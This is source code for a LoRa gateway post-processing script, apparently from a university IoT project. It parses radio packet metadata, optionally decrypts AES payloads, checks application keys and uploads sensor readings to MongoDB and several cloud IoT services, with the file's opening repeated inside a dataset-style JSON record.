print "Gateway TC : "+_temperature+" C | HU : "+_humidity+" % at "+str(_date_save_dht22) #save values from the gateway box's DHT22 sensor, if _mongodb is true if(_mongodb): #saving data in a JSON var str_json_data = "{\"th\":"+_temperature+", \"hu\":"+_humidity+"}" #creating document to add doc = { "type" : "DATA_GW_DHT22", "gateway_eui" : _gwaddr, "node_eui" : "gw", "snr" : "", "rssi" : "", "cr" : "", "datarate" : "", "time" : _date_save_dht22, "data" : json.dumps(json.loads(str_json_data)) } #adding the document add_document(doc) def dht22_target(): while True: print "Getting gateway temperature" save_dht22_values() sys.stdout.flush() global _gw_dht22 time.sleep(_gw_dht22) #------------------------------------------------------------ #for managing the input data when we can have aes encryption #------------------------------------------------------------ _linebuf="the line buffer" _linebuf_idx=0 _has_linebuf=0 def getSingleChar(): global _has_linebuf # if we have a valid _linebuf then read from _linebuf if _has_linebuf==1: global _linebuf_idx global _linebuf if _linebuf_idx < len(_linebuf): _linebuf_idx = _linebuf_idx + 1 return _linebuf[_linebuf_idx-1] else: # no more character from _linebuf, so read from stdin _has_linebuf = 0 return sys.stdin.read(1) else: return sys.stdin.read(1) def getAllLine(): global _linebuf_idx p=_linebuf_idx _linebuf_idx = 0 global _has_linebuf _has_linebuf = 0 global _linebuf # return the remaining of the string and clear the _linebuf return _linebuf[p:] def fillLinebuf(n): global _linebuf_idx _linebuf_idx = 0 global _has_linebuf _has_linebuf = 1 global _linebuf # fill in our _linebuf from stdin _linebuf=sys.stdin.read(n) #//////////////////////////////////////////////////////////// # ADD HERE OPTIONS THAT YOU MAY WANT TO ADD # BE CAREFUL, IT IS NOT ADVISED TO REMOVE OPTIONS UNLESS YOU # REALLY KNOW WHAT YOU ARE DOING #//////////////////////////////////////////////////////////// #------------------------------------------------------------ #for parsing the options #------------------------------------------------------------ def main(argv): try: opts, args = getopt.getopt(argv,'iftLam:',[\ 'ignorecomment',\ 'firebase',\ 'thingspeak',\ 'retrythsk',\ 'thingspeaksnr',\ 'fiware',\ 'sensorcloud',\ 'grovestreams',\ 'loggw',\ 'addr',\ 'wappkey',\ 'raw',\ 'aes',\ 'mongodb']) except getopt.GetoptError: print 'post_processing_gw '+\ '-i/--ignorecomment '+\ '-f/--firebase '+\ '-t/--thingspeak '+\ '--retrythsk '+\ '--thingspeaksnr '+\ '--fiware '+\ '--sensorcloud '+\ '--grovestreams '+\ '-L/--loggw '+\ '-a/--addr '+\ '--wappkey '+\ '--raw '+\ '--aes '+\ '-m/--mongodb' sys.exit(2) for opt, arg in opts: if opt in ("-i", "--ignorecomment"): print("will ignore commented lines") global _ignoreComment _ignoreComment = 1 elif opt in ("-f", "--firebase"): print("will enable firebase support") global _firebase _firebase = True global firebase_uploadSingleData from FireBase import firebase_uploadSingleData elif opt in ("-t", "--thingspeak"): print("will enable thingspeak support") global _thingspeak _thingspeak = True global thingspeak_uploadSingleData, thingspeak_uploadMultipleData from ThingSpeak import thingspeak_uploadSingleData, thingspeak_uploadMultipleData elif opt in ("--retrythsk"): print("will enable thingspeak retry") global thingspeak_setRetry from ThingSpeak import thingspeak_setRetry #set retry to True thingspeak_setRetry(True) elif opt in ("--thingspeaksnr"): print("will plot snr instead of seq") global _thingspeaksnr _thingspeaksnr = True elif opt in ("--fiware"): print("will enable fiware support") global _fiware _fiware = True elif opt in ("--sensorcloud"): print("will enable sensorcloud support") global _sensorcloud _sensorcloud = True global sensorcloud_uploadSingleData from SensorCloud import sensorcloud_uploadSingleData elif opt in ("--grovestreams"): print("will enable grovestreams support") global _grovestreams _grovestreams = True global grovestreams_uploadSingleData from GroveStreams import grovestreams_uploadSingleData elif opt in ("-L", "--loggw"): print("will log gateway message prefixed by ^$") global _logGateway _logGateway = 1 elif opt in ("-a", "--addr"): global _gwaddr _gwaddr = arg print("overwrite: will use _"+str(_gwaddr)+" for gateway and telemetry log files") elif opt in ("--wappkey"): global _wappkey _wappkey = 1 global _validappkey _validappkey=0 print("will check for correct app key") elif opt in ("--raw"): global _rawFormat _rawFormat = 1 print("raw output from gateway. post_processing_gw will handle packet format") elif opt in ("--aes"): global _aes _aes = 1 global AES from Crypto.Cipher import AES print("enable AES encrypted data") elif opt in ("-m", "--mongodb"): print("will enable local MongoDB support, max months to store is "+arg) global _mongodb _mongodb = True global add_document, remove_if_new_month, mongodb_set_max_months from MongoDB import add_document, remove_if_new_month, mongodb_set_max_months #setting max months mongodb_set_max_months(int(arg)) # END #//////////////////////////////////////////////////////////// if __name__ == "__main__": main(sys.argv[1:]) #gateway dht22 if (_gw_dht22): print "Starting thread to measure gateway temperature" t = threading.Thread(target=dht22_target) t.daemon = True t.start() print "Current working directory: "+os.getcwd() while True: sys.stdout.flush() ch = getSingleChar() #expected prefixes # ^p indicates a ctrl pkt info ^pdst(%d),ptype(%d),src(%d),seq(%d),len(%d),SNR(%d),RSSI=(%d) for the last received packet # example: ^p1,16,3,0,234,8,-45 # # ^r indicate a ctrl radio info ^rbw,cr,sf for the last received packet # example: ^r500,5,12 # # ^$ indicates an output (debug or log purposes) from the gateway that should be logged in the (Dropbox) gateway.log file # example: ^$Set LoRa mode 4 # # ^l indicates a ctrl LAS info ^lsrc(%d),type(%d) # type is 1 for DSP_REG, 2 for DSP_INIT, 3 for DSP_UPDT, 4 for DSP_DATA # example: ^l3,4 # # \$ indicates a message that should be logged in the (Dropbox) telemetry.log file # example: \$hello -> hello will be logged in the following format # (src=3 seq=0 len=6 SNR=8 RSSI=-54) 2015-10-16T14:47:44.072230> hello # # \& indicates a message that should be logged in the firebase cloud database # example: \&hello -> hello will be logged in json format # # \! indicates a message that should be logged on a thingspeak channel # example: \!SGSH52UGPVAUYG3S#9.4 -> 9.4 will be logged in the SGSH52UGPVAUYG3S ThingSpeak channel at default field, i.e. field 1 # \!2#9.4 -> 9.4 will be logged in the default channel at field 2 # \!SGSH52UGPVAUYG3S#2#9.4 -> 9.4 will be logged in the SGSH52UGPVAUYG3S ThingSpeak channel at field 2 # # you can log other information such as src, seq, len, SNR and RSSI on specific fields # # \xFF\xFE indicates radio data prefix # # #------------------------------------------------------------ # '^' is reserved for control information from the gateway #------------------------------------------------------------ if (ch=='^'): now = datetime.datetime.utcnow() ch=sys.stdin.read(1) if (ch=='p'): data = sys.stdin.readline() print now.isoformat() print "rcv ctrl pkt info (^p): "+data, arr = map(int,data.split(',')) print "splitted in: ", print arr dst=arr[0] ptype=arr[1] ptypestr="N/A" if ((ptype & 0xF0)==PKT_TYPE_DATA): ptypestr="DATA" if (ptype & PKT_FLAG_DATA_ISBINARY)==PKT_FLAG_DATA_ISBINARY: ptypestr = ptypestr + " IS_BINARY" if (ptype & PKT_FLAG_DATA_WAPPKEY)==PKT_FLAG_DATA_WAPPKEY: ptypestr = ptypestr + " WAPPKEY" if (ptype & PKT_FLAG_DATA_ENCRYPTED)==PKT_FLAG_DATA_ENCRYPTED: ptypestr = ptypestr + " ENCRYPTED" if (ptype & PKT_FLAG_ACK_REQ)==PKT_FLAG_ACK_REQ: ptypestr = ptypestr + " ACK_REQ" if ((ptype & 0xF0)==PKT_TYPE_ACK): ptypestr="ACK" src=arr[2] seq=arr[3] datalen=arr[4] SNR=arr[5] RSSI=arr[6] if (_rawFormat==0): info_str="(dst=%d type=0x%.2X(%s) src=%d seq=%d len=%d SNR=%d RSSI=%d)" % (dst,ptype,ptypestr,src,seq,datalen,SNR,RSSI) else: info_str="rawFormat(len=%d SNR=%d RSSI=%d)" % (datalen,SNR,RSSI) print info_str # TODO: maintain statistics from received messages and periodically add these informations in the gateway.log file if (ch=='r'): data = sys.stdin.readline() print "rcv ctrl radio info (^r): "+data, arr = map(int,data.split(',')) print "splitted in: ", print arr bw=arr[0] cr=arr[1] sf=arr[2] info_str="(BW=%d CR=%d SF=%d)" % (bw,cr,sf) print info_str if (ch=='t'): rcv_timestamp = sys.stdin.readline() print "rcv timestamp (^t): "+rcv_timestamp if (ch=='l'): # TODO: LAS service print 'not implemented yet' if (ch=='$' and _logGateway==1): data = sys.stdin.readline() print "rcv gw output to log (^$): "+data, f=open(os.path.expanduser(_gwlog_filename),"a") f.write(now.isoformat()+'> ') f.write(data) f.close() continue #------------------------------------------------------------ # '\' is reserved for message logging service #------------------------------------------------------------ if (ch=='\\'): now = datetime.datetime.utcnow() if _validappkey==1: print 'valid app key: accept data' ch=getSingleChar() if (ch=='$'): #log on Dropbox data = getAllLine() print "rcv msg to log (\$) on dropbox: "+data, f=open(os.path.expanduser(_telemetrylog_filename),"a") f.write(info_str+' ') f.write(now.isoformat()+'> ') f.write(data) f.close() #///////////////////////////////////////////////////////////// # YOU CAN MODIFY HERE HOW YOU WANT DATA TO BE PUSHED TO CLOUDS # WE PROVIDE EXAMPLES FOR THINGSPEAK, GROVESTREAM # IT IS ADVISED TO USE A SEPERATE PYTHON SCRIPT PER CLOUD #//////////////////////////////////////////////////////////// elif (ch=='&' and _firebase): #log on Firebase ldata = getAllLine() print 'rcv msg to log (\&) on firebase: '+data firebase_msg = { 'dst':dst, 'type':ptypestr, 'gateway_eui' : _gwaddr, 'node_eui':src, 'seq':seq, 'len':datalen, 'snr':SNR, 'rssi':RSSI, 'cr' : cr, 'datarate' : "SF"+str(sf)+"BW"+str(bw), 'time':now.isoformat(), 'info_str':info_str+' '+now.isoformat()+'> '+ldata, 'data':ldata } if _mongodb : #------------------ #saving in MongoDB #------------------ #get the data data = ldata.split('/') #change data in two arrays : nomenclature_array and value_array iteration = 0 nomenclature_array = [] value_array = [] while iteration<len(data) : if (iteration == 0 or iteration%2 == 0) : nomenclature_array.append(data[iteration]) else : value_array.append(data[iteration]) iteration += 1 #check if new month remove_if_new_month(now) print("MongoDB: saving the document in the collection...") #saving data in a JSON var str_json_data = "{" iteration = 0 while iteration < len(nomenclature_array) : #last iteration, do not add "," at the end if iteration == len(nomenclature_array)-1 : str_json_data += "\""+nomenclature_array[iteration]+"\" : "+value_array[iteration] else : str_json_data += "\""+nomenclature_array[iteration]+"\" : "+value_array[iteration]+", " iteration += 1 str_json_data += "}" #creating document to add doc = { "type" : ptypestr, "gateway_eui" : _gwaddr, "node_eui" : src, "snr" : SNR, "rssi" : RSSI, "cr" : cr, "datarate" : "SF"+str(sf)+"BW"+str(bw), "time" : now, "data" : json.dumps(json.loads(str_json_data)) } #adding the document add_document(doc) print("MongoDB: saving done") sensor_entry='sensor%d'% (src) msg_entry='msg%d' % (seq) #upload data to firebase firebase_uploadSingleData(firebase_msg, sensor_entry, msg_entry, now) elif (ch=='!'): #log on thingspeak, grovestreams, sensorcloud and connectingnature ldata = getAllLine() # get number of '#' separator nsharp = ldata.count('#') #no separator if nsharp==0: #will use default channel and field data=['',''] #contains ['', '', "s1", s1value, "s2", s2value, ...] data_array = data + re.split("/", ldata) elif nsharp==1: #only 1 separator data_array = re.split("#|/", ldata) #if the first item has length > 1 then we assume that it is a channel write key if len(data_array[0])>1: #insert '' to indicate default field data_array.insert(1,''); else: #insert '' to indicate default channel data_array.insert(0,''); else: #contains [channel, field, "s1", s1value, "s2", s2value, ...] data_array = re.split("#|/", ldata) #just in case we have an ending CR or 0 data_array[len(data_array)-1] = data_array[len(data_array)-1].replace('\n', '') data_array[len(data_array)-1] = data_array[len(data_array)-1].replace('\0', '') #test if there are characters at the end of each value, then delete these characters i = 3 while i < len(data_array) : while not data_array[i][len(data_array[i])-1].isdigit() : data_array[i] = data_array[i][:-1] i += 2 if _mongodb : #------------------ #saving in MongoDB #------------------ #check if new month remove_if_new_month(now) print("MongoDB: saving the document in the collection...") #saving data in a JSON var str_json_data = "{" #start from the first nomenclature iteration = 2 while iteration < len(data_array)-1 : #last iteration, do not add "," at the end if iteration == len(data_array)-2 : str_json_data += "\""+data_array[iteration]+"\" : "+data_array[iteration+1] else : str_json_data += "\""+data_array[iteration]+"\" : "+data_array[iteration+1]+", " iteration += 2 str_json_data += "}" #creating document to add doc = { "type" : ptypestr, "gateway_eui" : _gwaddr, "node_eui" : src, "snr" : SNR, "rssi" : RSSI, "cr" : cr, "datarate" : "SF"+str(sf)+"BW"+str(bw), "time" : now, "data" : json.dumps(json.loads(str_json_data)) } #adding the document add_document(doc) print("MongoDB: saving done") # get number of '/' separator nslash = ldata.count('/') index_first_data = 2 if nslash==0: # old syntax without nomenclature key index_first_data=2 else: # new syntax with nomenclature key index_first_data=3 #------------------ #test for thingspeak #------------------ if (_thingspeak): second_data=str(seq) if (_thingspeaksnr): second_data=str(SNR) #data to send to thingspeak data = [] data.append(data_array[0]) #channel (if '' default) data.append(data_array[1]) #field (if '' default) data.append(data_array[index_first_data]) #value to add (the first sensor value in data_array) #upload data to thingspeak #JUST FOR UPLOAD A SINGLE DATA IN A SPECIFIC FIELD AND SECOND DATA thingspeak_uploadSingleData(data, second_data) # if you want to upload all data starting at field 1, uncomment next line, and comment previous line #thingspeak_uploadMultipleData(data_array) # upload all data in the fields #------------------ #test for FIWARE #need FIWARE access #------------------ if (_fiware): print("FIWARE: upload") #entity_id = 'test_item_'+now.isoformat() entity_id = 'sensor%d'% (src) #send the first sensor value in data_array cmd = 'python ./fiware_UpdateEntityAttribute.py '+entity_id+' test temperature float '+data_array[index_first_data] print("FiWare: will issue python script") print(cmd) args = cmd.split() try: out = subprocess.check_output(args, shell=False) except subprocess.CalledProcessError: print("FiWare: python script failed") if out.find('"reasonPhrase" : "OK"') > 0: print("FiWare: Entity updated with ENTITY_ID "+entity_id) else: print("FiWare: Entity update failed") #------------------ #test for sensorcloud #------------------ if (_sensorcloud) : #send the first sensor value in data_array sensorcloud_uploadSingleData(data_array[index_first_data]) #------------------ #test for grovestreams #------------------ if (_grovestreams): nomenclatures = [] data = [] if nslash==0: # old syntax without nomemclature key, so insert only one key nomenclatures.append("temp") data.append(data_array[index_first_data]) else: #completing nomenclatures and data i=2 while i < len(data_array)-1 : nomenclatures.append(data_array[i]) data.append(data_array[i+1]) i += 2 #upload data to grovestreams grovestreams_uploadSingleData(nomenclatures, data, str(src)) # END #//////////////////////////////////////////////////////////// else: # not a known data logging prefix #you may want to upload to a default service #so just implement it here print('unrecognized data logging prefix: discard data') getAllLine() else: print('invalid app key: discard data') getAllLine() continue # handle binary prefixes if (ch == '\xFF' or ch == '+'): #if (ch == '\xFF'): print("got first framing byte") ch=getSingleChar() # data prefix for non-encrypted data if (ch == '\xFE' or ch == '+'): #if (ch == '\xFE'): #the data prefix is inserted by the gateway #do not modify, unless you know what you are doing and that you modify lora_gateway (comment WITH_DATA_PREFIX) print("--> got data prefix") #we actually need to use DATA_PREFIX in order to differentiate data from radio coming to the post-processing stage #if _wappkey is set then we have to first indicate that _validappkey=0 if (_wappkey==1): _validappkey=0 else: _validappkey=1 # if we have raw output from gw, then try to determine which kind of packet it is if (_rawFormat==1): ch=getSingleChar() # probably our modified Libelium header where the destination is the gateway # dissect our modified Libelium format if ch==1: dst=ord(ch) ptype=ord(getSingleChar()) src=ord(getSingleChar()) seq=ord(getSingleChar()) print("Libelium[dst=%d ptype=0x%.2X src=%d seq=%d]" % (dst,ptype,src,seq)) # now we read datalen-4 (the header length) bytes in our line buffer fillLinebuf(datalen-HEADER_SIZE) # TODO: dissect LoRaWAN # you can implement LoRaWAN decoding if this is necessary for your system # look at the LoRaWAN packet format specification to dissect the packet in detail # # LoRaWAN uses the MHDR(1B) # ---------------------------- # | 7 6 5 | 4 3 2 | 1 0 | # ---------------------------- # MType RFU major # # the main MType is unconfirmed data up which value is 010 if (ch & 0x40)==0x40: # Do the LoRaWAN decoding print("LoRaWAN?") # for the moment just discard the data fillLinebuf(datalen-1) getAllLine() else: # now we read datalen bytes in our line buffer fillLinebuf(datalen) # encrypted data payload? if ((ptype & PKT_FLAG_DATA_ENCRYPTED)==PKT_FLAG_DATA_ENCRYPTED): print("--> DATA encrypted: encrypted payload size is %d" % datalen) _hasClearData=0 if _aes==1: print("--> decrypting") decrypt_handler = AES.new(aes_key, AES.MODE_CBC, aes_iv) # decrypt s = decrypt_handler.decrypt(_linebuf) for i in range(0, len(s)): print "%.2X " % ord(s[i]), print "\nEnd" # get the real (decrypted) payload size rsize = ord(s[APPKEY_SIZE]) print("--> real payload size is %d" % rsize) # then add the appkey + the appkey framing bytes rsize = rsize+APPKEY_SIZE+1 _linebuf = s[:APPKEY_SIZE] + s[APPKEY_SIZE+1:rsize] for i in range(0, len(_linebuf)): print "%.2X " % ord(_linebuf[i]), print "\nEnd" # normally next read from input will get data from the decrypted _linebuf print "--> decrypted payload is: ", print _linebuf[APPKEY_SIZE:] _hasClearData=1 else: print("--> DATA encrypted: aes not activated") # drain stdin of all the encrypted data enc_data=getAllLine() print("--> discard encrypted data") else: _hasClearData=1 # with_appkey? if ((ptype & PKT_FLAG_DATA_WAPPKEY)==PKT_FLAG_DATA_WAPPKEY and _hasClearData==1): print("--> DATA with_appkey: read app key sequence") the_app_key = getSingleChar() the_app_key = the_app_key + getSingleChar() the_app_key = the_app_key + getSingleChar() the_app_key = the_app_key + getSingleChar() print "app key is ", print " ".join("0x{:02x}".format(ord(c)) for c in the_app_key) if the_app_key in app_key_list: print("in app key list") if _wappkey==1: _validappkey=1 else: print("not in app key list") if _wappkey==1: _validappkey=0 else: #we do not check for app key _validappkey=1 print("but app key disabled") continue if (ch == '?' and _ignoreComment==1): sys.stdin.readline() continue sys.stdout.write(ch)
normal
{ "blob_id": "475cb57ce5fda0d0389bfa1b9b227a2147e1abde", "index": 9389, "step-1": "#------------------------------------------------------------\n# Copyright 2016 Congduc Pham, University of Pau, France.\n# \n# [email protected]\n#\n# This file is part of the low-cost LoRa gateway developped at University of Pau\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n# \n# You should have received a copy of the GNU General Public License\n# along with the program. If not, see <http://www.gnu.org/licenses/>.\n#------------------------------------------------------------\n\n# IMPORTANT\n# Parts that can be modified are identified with\n\n#////////////////////////////////////////////////////////////\n# TEXT\n\n# END\n#////////////////////////////////////////////////////////////\n\nimport sys\nimport select\nimport threading\nfrom threading import Timer\nimport time\nimport datetime\nimport getopt\nimport os\nimport json\nimport re\n\n#////////////////////////////////////////////////////////////\n# ADD HERE BOOLEAN VARIABLES TO SUPPORT OTHER CLOUDS\n# OR VARIABLES FOR YOUR OWN NEEDS \n#////////////////////////////////////////////////////////////\n\n#------------------------------------------------------------\n#with firebase support?\n#------------------------------------------------------------\n_firebase=False\n\n#------------------------------------------------------------\n#with thingspeak support?\n#------------------------------------------------------------\n_thingspeak=False\n#plot snr instead of seq\n_thingspeaksnr=False\n\n#------------------------------------------------------------\n#with sensorcloud support?\n#------------------------------------------------------------\n_sensorcloud=False\n\n#------------------------------------------------------------\n#with grovestreams support?\n#------------------------------------------------------------\n_grovestreams=False\n\n#------------------------------------------------------------\n#with fiware support?\n#------------------------------------------------------------\n_fiware=False\n\n#////////////////////////////////////////////////////////////\n# ADD HERE APP KEYS THAT YOU WANT TO ALLOW FOR YOUR GATEWAY\n#////////////////////////////////////////////////////////////\n# NOTE: the format of the application key list has changed from \n# a list of list, to a list of string that will be process as \n# a byte array. Doing so wilL allow for dictionary construction\n# using the appkey to retrieve information such as encryption key,...\n\napp_key_list = [\n\t#for testing\n\t'****',\n\t#change here your application key\n\t'\\x01\\x02\\x03\\x04',\n\t'\\x05\\x06\\x07\\x08' \n]\n\n#////////////////////////////////////////////////////////////\n#FOR AES DECRYPTION\n#////////////////////////////////////////////////////////////\n\n#put your key here, should match the end-device's key\naes_key=\"0123456789010123\"\n#put your initialisation vector here, should match the end-device's initialisation vector\naes_iv=\"\\x9a\\xd0\\x30\\x02\\x00\\x00\\x00\\x00\\x9a\\xd0\\x30\\x02\\x00\\x00\\x00\\x00\"\n#aes_iv=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\n#association between appkey and aes_key\nappkey_aeskey = {\n\t'\\x01\\x02\\x03\\x04':\"0123456789010123\",\n\t'\\x05\\x06\\x07\\x08':\"0123456789010123\"\n}\n\n#association between appkey and aes_iv\nappkey_aesiv = {\n\t'\\x01\\x02\\x03\\x04':\"\\x9a\\xd0\\x30\\x02\\x00\\x00\\x00\\x00\\x9a\\xd0\\x30\\x02\\x00\\x00\\x00\\x00\",\n\t'\\x05\\x06\\x07\\x08':\"\\x9a\\xd0\\x30\\x02\\x00\\x00\\x00\\x00\\x9a\\xd0\\x30\\x02\\x00\\x00\\x00\\x00\"\n}\n\n# END\n#////////////////////////////////////////////////////////////\n\n#------------------------------------------------------------\n#header packet information\n#------------------------------------------------------------\n\nHEADER_SIZE=4\nAPPKEY_SIZE=4\nPKT_TYPE_DATA=0x10\nPKT_TYPE_ACK=0x20\n\nPKT_FLAG_ACK_REQ=0x08\nPKT_FLAG_DATA_ENCRYPTED=0x04\nPKT_FLAG_DATA_WAPPKEY=0x02\nPKT_FLAG_DATA_ISBINARY=0x01\n\n#------------------------------------------------------------\n#last pkt information\n#------------------------------------------------------------\ndst=0\nptype=0\nptypestr=\"N/A\"\nsrc=0\nseq=0\ndatalen=0\nSNR=0\nRSSI=0\nbw=0\ncr=0\nsf=0\n#------------------------------------------------------------\n\n#------------------------------------------------------------\n#will ignore lines beginning with '?'\n#------------------------------------------------------------\n_ignoreComment=1\n\n#------------------------------------------------------------\n#with mongoDB support?\n#------------------------------------------------------------\n_mongodb = False\n\n#------------------------------------------------------------\n#log gateway message?\n#------------------------------------------------------------\n_logGateway=0\n\n#------------------------------------------------------------\n#raw output from gateway?\n#------------------------------------------------------------\n_rawFormat=0\n#------------------------------------------------------------\n_ourcustomFormat=0;\n_lorawanFormat=0\n#------------------------------------------------------------\n\n#------------------------------------------------------------\n#check for app key?\n#------------------------------------------------------------\n_wappkey=0\n#------------------------------------------------------------\nthe_app_key = '\\x00\\x00\\x00\\x00'\n\n#valid app key? by default we do not check for the app key\n_validappkey=1\n\n#------------------------------------------------------------\n#for local AES decrypting\n#------------------------------------------------------------\t\n_aes=0\n_hasClearData=0\n\n#------------------------------------------------------------\n#open json file to recover gateway_address\n#------------------------------------------------------------\nf = open(os.path.expanduser(\"local_conf.json\"),\"r\")\nlines = f.readlines()\nf.close()\narray = \"\"\n#get all the lines in a string\nfor line in lines :\n\tarray += line\n\n#change it into a python array\njson_array = json.loads(array)\n\n#set the gateway_address for having different log filenames\n_gwaddr = json_array[\"gateway_conf\"][\"gateway_ID\"]\n\n#////////////////////////////////////////////////////////////\n# CHANGE HERE THE VARIOUS PATHS FOR YOUR LOG FILES\n#////////////////////////////////////////////////////////////\n_folder_path = \"/home/pi/Dropbox/LoRa-test/\"\n_gwlog_filename = _folder_path+\"gateway_\"+str(_gwaddr)+\".log\"\n_telemetrylog_filename = _folder_path+\"telemetry_\"+str(_gwaddr)+\".log\"\n\n# END\n#////////////////////////////////////////////////////////////\n\n\n#------------------------------------------------------------\n#initialize gateway DHT22 sensor\n#------------------------------------------------------------\n_gw_dht22 = json_array[\"gateway_conf\"][\"dht22\"]\n_date_save_dht22 = None\n\nif(_gw_dht22):\n\tprint \"Use DHT22 to get gateway temperature and humidity level\"\n\t#read values from dht22 in the gateway box\n\tsys.path.insert(0, os.path.expanduser('./sensors_in_raspi/dht22'))\n\tfrom read_dht22 import get_dht22_values\n\t\n\t_temperature = 0\n\t_humidity = 0\n\n# retrieve dht22 values\ndef save_dht22_values():\n\tglobal _temperature, _humidity, _date_save_dht22\n\t_humidity, _temperature = get_dht22_values()\n\t\n\t_date_save_dht22 = datetime.datetime.utcnow()\n\n\tprint \"Gateway TC : \"+_temperature+\" C | HU : \"+_humidity+\" % at \"+str(_date_save_dht22)\n\t\n\t#save values from the gateway box's DHT22 sensor, if _mongodb is true\n\tif(_mongodb):\n\t\t#saving data in a JSON var\n\t\tstr_json_data = \"{\\\"th\\\":\"+_temperature+\", \\\"hu\\\":\"+_humidity+\"}\"\n\t\n\t\t#creating document to add\n\t\tdoc = {\n\t\t\t\"type\" : \"DATA_GW_DHT22\",\n\t\t\t\"gateway_eui\" : _gwaddr, \n\t\t\t\"node_eui\" : \"gw\",\n\t\t\t\"snr\" : \"\", \n\t\t\t\"rssi\" : \"\", \n\t\t\t\"cr\" : \"\", \n\t\t\t\"datarate\" : \"\", \n\t\t\t\"time\" : _date_save_dht22,\n\t\t\t\"data\" : json.dumps(json.loads(str_json_data))\n\t\t}\n\t\n\t\t#adding the document\n\t\tadd_document(doc)\n\t\ndef dht22_target():\n\twhile True:\n\t\tprint \"Getting gateway temperature\"\n\t\tsave_dht22_values()\n\t\tsys.stdout.flush()\t\n\t\tglobal _gw_dht22\n\t\ttime.sleep(_gw_dht22)\n\n\n#------------------------------------------------------------\n#for managing the input data when we can have aes encryption\n#------------------------------------------------------------\n_linebuf=\"the line buffer\"\n_linebuf_idx=0\n_has_linebuf=0\n\ndef getSingleChar():\n\tglobal _has_linebuf\n\t# if we have a valid _linebuf then read from _linebuf\n\tif _has_linebuf==1:\n\t\tglobal _linebuf_idx\n\t\tglobal _linebuf\n\t\tif _linebuf_idx < len(_linebuf):\n\t\t\t_linebuf_idx = _linebuf_idx + 1\n\t\t\treturn _linebuf[_linebuf_idx-1]\n\t\telse:\n\t\t\t# no more character from _linebuf, so read from stdin\n\t\t\t_has_linebuf = 0\n\t\t\treturn sys.stdin.read(1)\n\telse:\n\t\treturn sys.stdin.read(1)\t\n\t\ndef getAllLine():\n\tglobal _linebuf_idx\n\tp=_linebuf_idx\n\t_linebuf_idx = 0\n\tglobal _has_linebuf\n\t_has_linebuf = 0\t\n\tglobal _linebuf\n\t# return the remaining of the string and clear the _linebuf\n\treturn _linebuf[p:]\t\n\t\ndef fillLinebuf(n):\n\tglobal _linebuf_idx\n\t_linebuf_idx = 0\n\tglobal _has_linebuf\n\t_has_linebuf = 1\n\tglobal _linebuf\n\t# fill in our _linebuf from stdin\n\t_linebuf=sys.stdin.read(n)\n\n\n#////////////////////////////////////////////////////////////\n# ADD HERE OPTIONS THAT YOU MAY WANT TO ADD\n# BE CAREFUL, IT IS NOT ADVISED TO REMOVE OPTIONS UNLESS YOU\n# REALLY KNOW WHAT YOU ARE DOING\n#////////////////////////////////////////////////////////////\n\n#------------------------------------------------------------\n#for parsing the options\n#------------------------------------------------------------\n\ndef main(argv):\n\ttry:\n\t\topts, args = getopt.getopt(argv,'iftLam:',[\\\n\t\t'ignorecomment',\\\n\t\t'firebase',\\\n\t\t'thingspeak',\\\n\t\t'retrythsk',\\\n\t\t'thingspeaksnr',\\\n\t\t'fiware',\\\n\t\t'sensorcloud',\\\n\t\t'grovestreams',\\\n\t\t'loggw',\\\n\t\t'addr',\\\n\t\t'wappkey',\\\n\t\t'raw',\\\n\t\t'aes',\\\n\t\t'mongodb'])\n\t\t\n\texcept getopt.GetoptError:\n\t\tprint 'post_processing_gw '+\\\n\t\t'-i/--ignorecomment '+\\\n\t\t'-f/--firebase '+\\\n\t\t'-t/--thingspeak '+\\\n\t\t'--retrythsk '+\\\n\t\t'--thingspeaksnr '+\\\n\t\t'--fiware '+\\\n\t\t'--sensorcloud '+\\\n\t\t'--grovestreams '+\\\n\t\t'-L/--loggw '+\\\n\t\t'-a/--addr '+\\\n\t\t'--wappkey '+\\\n\t\t'--raw '+\\\n\t\t'--aes '+\\\n\t\t'-m/--mongodb'\n\t\t\n\t\tsys.exit(2)\n\t\n\tfor opt, arg in opts:\n\t\tif opt in (\"-i\", \"--ignorecomment\"):\n\t\t\tprint(\"will ignore commented lines\")\n\t\t\tglobal _ignoreComment\n\t\t\t_ignoreComment = 1\n\t\t\t\n\t\telif opt in (\"-f\", \"--firebase\"):\n\t\t\tprint(\"will enable firebase support\")\n\t\t\tglobal _firebase\n\t\t\t_firebase = True\n\t\t\tglobal firebase_uploadSingleData\n\t\t\tfrom FireBase import firebase_uploadSingleData\n\n\t\telif opt in (\"-t\", \"--thingspeak\"):\n\t\t\tprint(\"will enable thingspeak support\")\n\t\t\tglobal _thingspeak\n\t\t\t_thingspeak = True\n\t\t\tglobal thingspeak_uploadSingleData, thingspeak_uploadMultipleData\n\t\t\tfrom ThingSpeak import thingspeak_uploadSingleData, thingspeak_uploadMultipleData\n\t\t\t\n\t\telif opt in (\"--retrythsk\"):\n\t\t\tprint(\"will enable thingspeak retry\")\n\t\t\tglobal thingspeak_setRetry\n\t\t\tfrom ThingSpeak import thingspeak_setRetry\n\t\t\t#set retry to True\n\t\t\tthingspeak_setRetry(True)\n\n\t\telif opt in (\"--thingspeaksnr\"):\n\t\t\tprint(\"will plot snr instead of seq\")\n\t\t\tglobal _thingspeaksnr\n\t\t\t_thingspeaksnr = True\n\t\t\t\n\t\telif opt in (\"--fiware\"):\n\t\t\tprint(\"will enable fiware support\")\n\t\t\tglobal _fiware\n\t\t\t_fiware = True\n\n\t\telif opt in (\"--sensorcloud\"):\n\t\t\tprint(\"will enable sensorcloud support\")\n\t\t\tglobal _sensorcloud\n\t\t\t_sensorcloud = True\n\t\t\tglobal sensorcloud_uploadSingleData\n\t\t\tfrom SensorCloud import sensorcloud_uploadSingleData\n\n\t\telif opt in (\"--grovestreams\"):\n\t\t\tprint(\"will enable grovestreams support\")\n\t\t\tglobal _grovestreams\n\t\t\t_grovestreams = True\n\t\t\tglobal grovestreams_uploadSingleData\n\t\t\tfrom GroveStreams import grovestreams_uploadSingleData\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\telif opt in (\"-L\", \"--loggw\"):\n\t\t\tprint(\"will log gateway message prefixed by ^$\")\n\t\t\tglobal 